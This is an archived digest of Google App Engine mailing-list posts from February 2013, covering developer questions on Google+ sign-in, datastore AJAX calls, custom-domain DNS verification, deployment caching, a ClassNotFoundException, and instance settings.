[google-appengine] New Google+ sign-in on App Engine, bug or feature?

2013-02-27 Thread Antonio Zugaldia
I tried the Python 
quickstarthttps://developers.google.com/+/quickstart/pythonfor the new 
Google+ sign-in on App Engine and I'm glad to report it works 
flawlessly (you just need to manually add Flask).

However, once I've got an user logged in, if I call 
users.get_current_user() from google.appengine.api I still get a None 
response.

So I have a Google user logged in but AppEngine's API is not seeing it. Bug 
or feature?

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] get data from datastore without refreshing page

2013-02-27 Thread Aidan Mack
Hi Im very new to app engine and java.

But I have setup a jsp file that uses a java class to get data from the 
datastore.
The java file though  is  obviously server side so I caunt just call a java 
method onclick from my jsp.

Is their anyway to get more data from the datastore without refreshing the 
page?

I thought about using ajax to call a jsp file that took data from the 
datastore and return it as JSON or xml or something?


Thanks
 Aidan

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] CNAME and TXT record problems with my custom domain

2013-02-27 Thread nethugolol
Hello.
This is my problem. I've running an application on Google App Engine. A few 
days ago I registered my custom domain mydomain.net. I've access to domain 
panel on tucows/opensrs. So, in my app on GAE, I go to Application 
Settings  Add domain. I configured mydomain.net on Google Apps. Now I'm 
trying to verify ownership of my domain. Google Apps have some alternatives 
to do this: add a txt record, a cname, upload an html file, add an html 
tag, and one more if I'm not wrong. Here's the problem. It seems that I 
can't do anything of that from my domain panel on opensrs. The only thing I 
can do there is to set up some Name Servers or DNS. I had a conversation 
with the support team of the company where I registered my domain. They 
said that I have only the domain name, not a hosting for the domain. So I 
can't set a cname or txt record. Also said that gae should give me the 
possibility to set up cname or txt record. I'm very confused. I should talk 
with App Engine support. But there's no support, so here I am.

Any alternative? Any way to link my app with my domain using DNS or name 
servers?

I'll appreciate so much your replies. Sorry for my English.

Thanks.

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: Page changes not updating after re-deploy.

2013-02-27 Thread Mehul Kar
I had this same problem the first time I used GAE because I was deploying 
to the wrong version and then pulling my hair out. I doubt that is true in 
your case as well, it was a beginner mistake, but throwing it out there, 
just in case. 

On Friday, February 22, 2013 10:43:40 PM UTC-8, Shane Kweens wrote:


 I am using Python 2.7 and GAE and noticed page changes are not updating 
 after re-deploy. Any hints?  

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: java.lang.ClassNotFoundException: com.google.appengine.tools.enhancer.Enhance

2013-02-27 Thread ke zhang
Have you checked the jdk in your project ,I got the same problem because I 
used the jrocket ,GWT always encounter this problem too

在 2011年2月13日星期日UTC+8下午2时43分52秒,tuco写道:

 Hi All, 
 As soon as I create a Google Web application project, it immediately 
 reports error: Could not find the 
 main class: com.google.appengine.tools.enhancer.Enhance. Program will 
 exit. 

 In Console- 
 java.lang.NoClassDefFoundError: com/google/appengine/tools/enhancer/ 
 Enhance 
 Caused by: java.lang.ClassNotFoundException: 
 com.google.appengine.tools.enhancer.Enhance 
 at java.net.URLClassLoader$1.run(Unknown Source) 
 at java.security.AccessController.doPrivileged(Native Method) 
 at java.net.URLClassLoader.findClass(Unknown Source) 
 at java.lang.ClassLoader.loadClass(Unknown Source) 
 at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) 
 at java.lang.ClassLoader.loadClass(Unknown Source) 
 Exception in thread main 

 I've downloaded latest eclipse - 3.6 and installed GAE plugin 1.4.2 

 Also, GAE library is referenced in the project. See screenshot 

 http://imageupload.org/?di=1412975794035 

 I'm new to GAE, pls help. 

 Thanks 


-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] How do I determine the number of instances needed settings?

2013-02-27 Thread brett
App ID: mybizcentral
Version: test

This is for production level code. Can you help me determine what Instances 
settings I should use to avoid deadline exceeded errors? I had the settings 
set to Automatic, but I just changed the minimum idle instance setting to 
1. I will see if having one Resident instance available helps avoid these 
errors overnight tonight. Every night the application receives thousands of 
emails, with files attached that need to be parsed and stored in the 
datastore. So there is an expected spike in traffic overnight. Can you help 
me with the Instance settings to handle these spikes, but also not sky 
rocket our hosting costs?

I'm seeing Deadline Exceeded Errors:
Uncaught exception from servlet 
com.google.apphosting.runtime.HardDeadlineExceededError:

I'm also occassionally seeing Concurrent Modification errors.
java.sql.SQLException: Concurrent Modification

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Busqueda de palabras dentro de un video

2013-02-27 Thread Hugo Medina

Saludos
Tengo Un Problema, Que ya me solicitaron Realizar Una aplicacion Que busque 
Palabras introducidas Por El usuario, this busqueda sí pretende HACER 
Dentro De Un Archivo de vídeo Pero No Tengo la idea de hacerlo de Como, 
Alguien podria orientarme de Como Realizar this aplicacion 
Gracias

-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.




[google-appengine] Re: CNAME and TXT record problems with my custom domain

2013-02-27 Thread Kalle Pokki
Apparently you only bought the domain without anything else. Now you also 
need to purchase DNS hosting from somewhere. If mydomain.net doesn't sell 
that, you can buy that from e.g. enom (www.enom.com) for about $5 / year. 
You need to set up the name servers of your DNS hosting in the mydomain.net 
domain panel, and then you are able to create the necessary DNS records in 
your DNS hosting control panel.


On Wednesday, February 27, 2013 8:03:37 PM UTC+2, nethu...@gmail.com wrote:

 Hello.
 This is my problem. I've running an application on Google App Engine. A 
 few days ago I registered my custom domain mydomain.net. I've access to 
 domain panel on tucows/opensrs. So, in my app on GAE, I go to Application 
 Settings  Add domain. I configured mydomain.net on Google Apps. Now I'm 
 trying to verify ownership of my domain. Google Apps have some 
 alternatives to do this: add a txt record, a cname, upload an html file, 
 add an html tag, and one more if I'm not wrong. Here's the problem. It 
 seems that I can't do anything of that from my domain panel on opensrs. The 
 only thing I can do there is to set up some Name Servers or DNS. I had a 
 conversation with the support team of the company where I registered my 
 domain. They said that I have only the domain name, not a hosting for the 
 domain. So I can't set a cname or txt record. Also said that gae should 
 give me the possibility to set up cname or txt record. I'm very confused. I 
 should talk with App Engine support. But there's no support, so here I am.

 Any alternative? Any way to link my app with my domain using DNS or name 
 servers?

 I'll appreciate so much your replies. Sorry for my English.

 Thanks.


-- 
You received this message because you are subscribed to the Google Groups 
Google App Engine group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to google-appengine+unsubscr...@googlegroups.com.
To post to this group, send email to google-appengine@googlegroups.com.
Visit this group at http://groups.google.com/group/google-appengine?hl=en.
For more options, visit https://groups.google.com/groups/opt_out.